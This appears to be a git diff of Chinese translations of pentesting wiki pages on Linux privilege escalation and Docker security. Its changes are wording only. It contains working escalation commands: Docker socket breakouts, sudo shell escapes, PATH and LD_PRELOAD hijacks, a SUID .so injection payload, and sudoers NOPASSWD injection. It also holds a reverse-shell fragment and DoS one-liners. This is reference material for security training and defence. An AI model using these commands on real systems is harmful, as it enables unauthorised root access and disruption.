- 找到某个 systemd 单元，该单元正在 **执行一个相对路径**，并且您对 **systemd PATH** 具有 **可写权限**（以伪装该可执行文件）
**了解有关计时器的更多信息，请使用 `man systemd.timer`。**
@ -439,17 +439,17 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## 套接字
Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信，并通过 `.socket` 文件进行设置。
Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之间的客户端-服务器模型中成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信，并通过 `.socket` 文件进行设置。
套接字可以使用 `.socket` 文件进行配置。
**了解更多关于套接字的信息，请使用 `man systemd.socket`。** 在此文件中，可以配置几个有趣的参数：
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中，可以配置几个有趣的参数：
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同，但总结用于 **指示将要监听的位置**（AF_UNIX 套接字文件的路径，监听的 IPv4/6 和/或端口号等）
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同，但总结用于 **指示将要监听的地方**（AF_UNIX 套接字文件的路径，监听的 IPv4/6 和/或端口号等）
- `Accept`: 接受一个布尔参数。如果 **true**，则 **为每个传入连接生成一个服务实例**，并且仅将连接套接字传递给它。如果 **false**，则所有监听套接字本身都被 **传递给启动的服务单元**，并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO，此值被忽略，因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因，建议仅以适合 `Accept=no` 的方式编写新的守护进程。
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行，这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名，后面跟着进程的参数。
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。
- `Service`: 指定 **在传入流量上激活的** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务（后缀被替换）。在大多数情况下，不需要使用此选项。
- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务（后缀被替换）。在大多数情况下，不需要使用此选项。
### 可写的 .socket 文件
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP 套接字
请注意，可能有一些 **套接字正在监听 HTTP** 请求（_我不是在谈论 .socket 文件，而是作为 unix 套接字的文件_）。您可以通过以下方式检查：
请注意，可能有一些 **监听 HTTP** 请求的 **套接字**（_我不是在谈论 .socket 文件，而是充当 unix 套接字的文件_）。您可以通过以下方式检查：
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### 可写的 Docker 套接字
Docker 套接字，通常位于 `/var/run/docker.sock`，是一个关键文件，应该被保护。默认情况下，它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的分解，以及在 Docker CLI 不可用时的替代方法。
Docker 套接字，通常位于 `/var/run/docker.sock`，是一个关键文件，应该被保护。默认情况下，它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的详细说明，以及在 Docker CLI 不可用时的替代方法。
#### **使用 Docker CLI 进行特权提升**
@ -498,7 +498,7 @@ Docker 套接字，通常位于 `/var/run/docker.sock`，是一个关键文件
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
这些命令允许您以根级访问权限运行一个容器，访问主机的文件系统。
这些命令允许您以根级别访问主机的文件系统运行容器。
#### **直接使用 Docker API**
@ -510,7 +510,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **创建一个容器：** 发送请求以创建一个挂载主机系统根目录的容器。
2. **创建容器：** 发送请求以创建一个挂载主机系统根目录的容器。
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -532,11 +532,11 @@ Connection: Upgrade
Upgrade: tcp
```
在设置好 `socat` 连接后，您可以直接在容器中执行命令，拥有对主机文件系统的根级访问权限。
在设置好 `socat` 连接后，您可以直接在容器中以根级别访问主机的文件系统执行命令。
### 其他
请注意，如果您对 Docker 套接字具有写权限，因为您是 **`docker` 组的成员**，您有 [**更多的权限提升方式**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**，您也可以有能力进行破坏](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
请注意，如果您对 Docker 套接字具有写权限，因为您在 **`docker` 组内**，您有 [**更多的权限提升方法**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**，您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
查看 **更多从 Docker 中突破或滥用它以提升权限的方法** 在：
@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**，使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的，提供了一个强大的框架，用于不同形式的应用程序通信。
该系统灵活多变，支持基本的 IPC，增强了进程之间的数据交换，类似于 **增强的 UNIX 域套接字**。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音，从而提升用户体验。此外，D-Bus 支持远程对象系统，简化了应用程序之间的服务请求和方法调用，简化了传统上复杂的过程。
该系统灵活多变，支持基本的 IPC，增强了进程之间的数据交换，类似于 **增强的 UNIX 域套接字**。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音，从而增强用户体验。此外，D-Bus 支持远程对象系统，简化了应用程序之间的服务请求和方法调用，简化了传统上复杂的过程。
D-Bus 基于 **允许/拒绝模型**，根据匹配的策略规则的累积效果管理消息权限（方法调用、信号发射等）。这些策略指定与总线的交互，可能通过利用这些权限来允许权限提升。
在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个此类策略的示例，详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。
在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样一个策略的示例，详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。
没有指定用户或组的策略适用于所有情况，而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。
```xml
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
一些Linux版本受到一个漏洞的影响，该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息：[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)，[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
某些Linux版本受到一个漏洞的影响，该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息：[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)，[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
**利用它**使用：**`systemd-run -t /bin/bash`**
### Groups
@ -688,7 +688,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### Su Brute
如果你不介意制造很多噪音，并且计算机上存在`su`和`timeout`二进制文件，你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用`-a`参数也会尝试暴力破解用户。
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。
## 可写的 PATH 滥用
@ -698,12 +698,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### SUDO 和 SUID
你可能被允许使用 sudo 执行某些命令，或者它们可能具有 suid 位。使用以下命令检查：
你可能被允许使用sudo执行某些命令，或者它们可能具有suid位。使用以下命令检查：
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
一些**意外的命令允许您读取和/或写入文件，甚至执行命令。** 例如：
一些 **意外的命令允许您读取和/或写入文件，甚至执行命令。** 例如：
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -732,13 +732,13 @@ $ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
这个例子，**基于 HTB 机器 Admirer**，**易受** **PYTHONPATH 劫持** 的影响，可以在以 root 身份执行脚本时加载任意的 python 库：
这个例子，**基于 HTB 机器 Admirer**，**易受** **PYTHONPATH 劫持** 的影响，可以在以 root 身份执行脚本时加载任意 python 库：
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo 执行绕过路径
**跳转**到读取其他文件或使用 **符号链接**。例如在 sudoers 文件中： _hacker10 ALL= (root) /bin/less /var/log/\*_
**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中： _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -763,13 +763,13 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用（始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容）**。
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用（始终检查**_**strings**_ **内容的奇怪SUID二进制文件）**。
[Payload examples to execute.](payloads-to-execute.md)
### 带命令路径的SUID二进制文件
如果**suid**二进制文件**执行另一个命令并指定路径**，那么你可以尝试**导出一个名为该suid文件调用的命令的函数**。
如果**suid**二进制文件**执行另一个命令并指定路径**，那么你可以尝试**导出一个函数**，其名称与suid文件调用的命令相同。
例如，如果一个suid二进制文件调用_**/usr/sbin/service apache2 start**_，你需要尝试创建该函数并导出它：
```bash
@ -784,8 +784,8 @@ export -f /usr/sbin/service
然而，为了维护系统安全并防止此功能被利用，特别是在**suid/sgid**可执行文件中，系统强制执行某些条件：
- 加载器忽略**LD_PRELOAD**对于真实用户ID（_ruid_）与有效用户ID（_euid_）不匹配的可执行文件。
- 对于具有suid/sgid的可执行文件，仅预加载在标准路径中且也具有suid/sgid的库。
- 对于真实用户ID（_ruid_）与有效用户ID（_euid_）不匹配的可执行文件，加载器会忽略**LD_PRELOAD**。
- 对于具有suid/sgid的可执行文件，仅在标准路径中且也具有suid/sgid的库会被预加载。
如果你有能力使用`sudo`执行命令，并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**，则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别，即使在使用`sudo`运行命令时，这可能导致以提升的权限执行任意代码。
```
@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID 二进制文件 – .so 注入
当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时，验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查：
当遇到一个具有 **SUID** 权限的二进制文件且看起来不寻常时，验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查：
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
例如，遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示，暗示了潜在的利用可能性。
为了利用这一点，可以创建一个 C 文件，比如 _"/path/to/.config/libcalc.c"_，其中包含以下代码：
为了利用这一点，可以创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_，其中包含以下代码：
```c
#include <stdio.h>
#include <stdlib.h>
@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
最后，运行受影响的 SUID 二进制文件应该会触发漏洞，从而允许潜在的系统妥协。
最后，运行受影响的 SUID 二进制文件应该会触发漏洞，从而允许潜在的系统破坏。
## 共享对象劫持
```bash
@ -901,9 +901,13 @@ system("/bin/bash -p");
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -916,7 +920,7 @@ system("/bin/bash -p");
提升特权的要求：
- 您已经以用户 "_sampleuser_" 拥有一个 shell
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作（默认情况下，这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间）
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作（默认情况下，这是允许我们使用 `sudo` 而不输入任何密码的 sudo 令牌的持续时间）
- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
- `gdb` 可访问（您可以上传它）
@ -924,7 +928,7 @@ system("/bin/bash -p");
如果满足所有这些要求，**您可以使用以下方法提升特权：** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**（您不会自动获得 root shell，请执行 `sudo su`）：
- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **激活您会话中的 sudo 令牌**（您不会自动获得 root shell，请执行 `sudo su`）：
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -935,15 +939,15 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- 第**三个漏洞**（`exploit_v3.sh`）将**创建一个sudoers文件**，使**sudo令牌永久有效并允许所有用户使用sudo**
- 第**三个漏洞** (`exploit_v3.sh`) 将**创建一个 sudoers 文件**，使**sudo 令牌永久有效并允许所有用户使用 sudo**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\<Username>
如果您在文件夹中或文件夹内任何创建的文件上具有**写权限**，您可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)来**为用户和PID创建sudo令牌**。\
例如，如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且您以PID 1234的该用户身份拥有一个shell，您可以**获得sudo权限**而无需知道密码，方法是：
如果您在该文件夹或文件夹内创建的任何文件上具有**写权限**，则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\
例如，如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_，并且您以该用户的身份拥有PID 1234的shell，则可以**获得sudo权限**而无需知道密码，方法是：
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
@ -955,7 +959,7 @@ sudo su
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
如果你会写，你就可以滥用这个权限
如果你能写，你就可以滥用这个权限
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -1058,7 +1062,7 @@ linux-capabilities.md
## ACLs
访问控制列表 (ACLs) 代表了可任意权限的第二层，能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户（非所有者或不属于该组的用户）访问文件或目录，从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
访问控制列表 (ACLs) 代表了可选择权限的第二层，能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户（非所有者或组成员）访问文件或目录，增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
**给予** 用户 "kali" 对一个文件的读取和写入权限：
```bash
@ -1074,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## 打开 shell 会话
在 **旧版本** 中，您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\
在 **最新版本** 中，您将只能 **连接** 到 **您自己用户** 的屏幕会话。然而，您可能会在会话中找到 **有趣的信息**。
在 **最新版本** 中，您只能 **连接** 到 **您自己的用户** 的屏幕会话。然而，您可能会在会话中找到 **有趣的信息**。
### 屏幕会话劫持
@ -1113,14 +1117,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
检查 **Valentine box from HTB** 以获取示例。
检查 **HTB 的情人节盒子** 以获取示例。
## SSH
### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166
在 2006 年 9 月到 2008 年 5 月 13 日之间，在基于 Debian 的系统（如 Ubuntu、Kubuntu 等）上生成的所有 SSL 和 SSH 密钥可能受到此漏洞的影响。\
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的，因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算，并且 **拥有 ssh 公钥后，您可以搜索相应的私钥**。您可以在此处找到计算的可能性：[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的，因为 **仅可能有 32,768 种变体**。这意味着所有可能性都可以计算，并且 **拥有 ssh 公钥后，您可以搜索相应的私钥**。您可以在此处找到计算的可能性：[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH 有趣的配置值
@ -1159,7 +1163,7 @@ ForwardAgent yes
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发（默认是允许）。
如果您发现转发代理在某个环境中被配置，请阅读以下页面，因为 **您可能能够利用它来提升权限**：
如果你发现转发代理在某个环境中被配置，请阅读以下页面，因为 **你可能能够利用它来提升权限**：
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### 配置文件
文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此，如果您可以 **写入或修改其中任何一个，您可以提升权限**。
文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此，如果你可以 **写入或修改其中任何一个，你可以提升权限**。
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1282,13 +1286,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### 已知包含密码的文件
阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码，它会搜索**可能包含密码的多个文件**。\
阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码，它搜索**可能包含密码的多个文件**。\
**另一个有趣的工具**是：[**LaZagne**](https://github.com/AlessandroZ/LaZagne)，这是一个开源应用程序，用于检索存储在本地计算机上的大量密码，适用于Windows、Linux和Mac。
### 日志
如果您可以读取日志，您可能会在其中找到**有趣/机密的信息**。日志越奇怪，它就越有趣（可能）。\
此外，一些“**错误**”配置的（后门？）**审计日志**可能允许您在审计日志中**记录密码**，正如在这篇文章中所解释的：[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
此外，一些“**错误**”配置（后门？）的**审计日志**可能允许您在审计日志中**记录密码**，正如在这篇文章中所解释的：[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1328,7 +1332,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
> [!NOTE]
> 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本
有关该漏洞的更详细信息可以在此页面找到：[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
有关该漏洞的更多详细信息，请访问此页面：[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。
@ -1340,9 +1344,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
如果出于某种原因，用户能够 **写入** 一个 `ifcf-<whatever>` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本，那么您的 **系统就被攻陷了**。
网络脚本，例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而，它们在 Linux 中由网络管理器（dispatcher.d）进行 \~sourced\~。
网络脚本，例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而，它们在 Linux 中由网络管理器（dispatcher.d）\~sourced\~。
在我的案例中，这些网络脚本中的 `NAME=` 属性处理不当。如果名称中有 **空格**，系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
在我的案例中，这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**，系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
例如： _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1402,7 +1406,7 @@ cisco-vmanage.md
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## 参考
## 参考文献
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\

52
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -22,7 +22,7 @@ sudo service docker restart
1. 客户端验证服务器的身份。
2. 客户端和服务器相互验证对方的身份。
证书用于确认服务器的身份。有关这两种方法的详细示例，请参阅 [**此指南**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。
证书用于确认服务器的身份。有关这两种方法的详细示例，请参阅 [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。
### 容器镜像的安全性
@ -36,7 +36,7 @@ sudo service docker restart
容器可能存在 **安全漏洞**，这可能是由于基础镜像或在基础镜像上安装的软件造成的。Docker 正在进行一个名为 **Nautilus** 的项目，该项目对容器进行安全扫描并列出漏洞。Nautilus 通过将每个容器镜像层与漏洞库进行比较来识别安全漏洞。
有关更多 [**信息，请阅读此文**](https://docs.docker.com/engine/scan/)。
有关更多 [**information read this**](https://docs.docker.com/engine/scan/)。
- **`docker scan`**
@ -82,7 +82,7 @@ Docker 镜像签名确保容器中使用的镜像的安全性和完整性。以
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
当切换 Docker 主机时，必须移动根和存储库密钥以维持操作。
在切换 Docker 主机时，必须移动根密钥和存储库密钥以维持操作。
## 容器安全特性
@ -97,8 +97,8 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
**命名空间**
- **目的**：确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中，命名空间使容器的进程与主机和其他容器分开。
- **`unshare` 的使用**：`unshare` 命令（或底层系统调用）用于创建新的命名空间，提供额外的隔离层。然而，虽然 Kubernetes 本身并不阻止这一点，但 Docker 是会的。
- **限制**：创建新命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间，通常需要访问主机的 `/proc` 目录，使用 `nsenter` 进行进入。
- **`unshare` 的使用**：`unshare` 命令（或底层系统调用）用于创建新的命名空间，提供额外的隔离层。然而，虽然 Kubernetes 本身并不阻止这一点，但 Docker 确实会。
- **限制**：创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间，通常需要访问主机的 `/proc` 目录，使用 `nsenter` 进行进入。
**控制组 (CGroups)**
@ -147,8 +147,8 @@ namespaces/
### cgroups
Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**的能力，适用于一组进程。Docker 允许使用 cgroup 特性创建容器，从而实现对特定容器的资源控制。\
以下是一个用户空间内存限制为 500m，内核内存限制为 50m，CPU 共享为 512，blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比率。它的默认值为 1024，范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024，则在 CPU 资源争用的情况下，每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比率。它的默认值为 500，范围在 10 到 1000 之间。
Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**等的能力，适用于一组进程。Docker 允许使用 cgroup 特性创建容器，从而实现对特定容器的资源控制。\
以下是一个用户空间内存限制为 500m，内核内存限制为 50m，CPU 共享为 512，blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比例。它的默认值为 1024，范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024，则在 CPU 资源争用的情况下，每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比例。它的默认值为 500，范围在 10 到 1000 之间。
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -168,7 +168,7 @@ cgroups.md
能力允许**对可以允许的根用户能力进行更细粒度的控制**。Docker使用Linux内核能力特性来**限制可以在容器内执行的操作**，无论用户类型如何。
当运行docker容器时，**进程会放弃敏感能力，以防止进程逃离隔离**。这试图确保进程无法执行敏感操作并逃脱：
当运行docker容器时，**进程会放弃敏感能力，以防止进程逃离隔离**。这试图确保进程无法执行敏感操作并逃逸：
{{#ref}}
../linux-capabilities.md
@ -176,7 +176,7 @@ cgroups.md
### Docker中的Seccomp
这是一项安全功能，允许Docker**限制可以在容器内使用的系统调用**：
这是一种安全特性，允许Docker**限制可以在容器内使用的系统调用**：
{{#ref}}
seccomp.md
@ -192,8 +192,8 @@ apparmor.md
### Docker中的SELinux
- **标记系统**：SELinux为每个进程和文件系统对象分配唯一标签。
- **策略执行**：它执行定义进程标签可以对系统内其他标签执行哪些操作的安全策略。
- **标记系统**：SELinux为每个进程和文件系统对象分配一个唯一的标签。
- **策略执行**：它执行安全策略，定义进程标签可以对系统内其他标签执行的操作。
- **容器进程标签**：当容器引擎启动容器进程时，通常会分配一个受限的SELinux标签，通常为`container_t`。
- **容器内文件标记**：容器内的文件通常标记为`container_file_t`。
- **策略规则**：SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件进行交互（读取、写入、执行）。
@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- 带宽DoS
- 带宽 DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
@ -247,7 +247,7 @@ docker-privileged.md
#### no-new-privileges
如果您正在运行一个容器，攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**，攻击者可能会利用它并 **在容器内提升权限**。这可能允许他逃离容器。
如果您正在运行一个容器，攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**，攻击者可能会滥用它并 **在容器内提升权限**。这可能允许他逃离容器。
启用 **`no-new-privileges`** 选项运行容器将 **防止这种权限提升**。
```
@ -286,7 +286,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
2. 通过命令前缀: `DOCKER_BUILDKIT=1 docker build .`
3. 通过在 Docker 配置中默认启用: `{ "features": { "buildkit": true } }`，然后重启 Docker。
BuildKit 允许使用 `--secret` 选项来处理构建时机密，确保这些机密不会包含在镜像构建缓存或最终镜像中，使用命令如下:
BuildKit 允许使用 `--secret` 选项来使用构建时机密，确保这些机密不会包含在镜像构建缓存或最终镜像中，使用命令如下:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
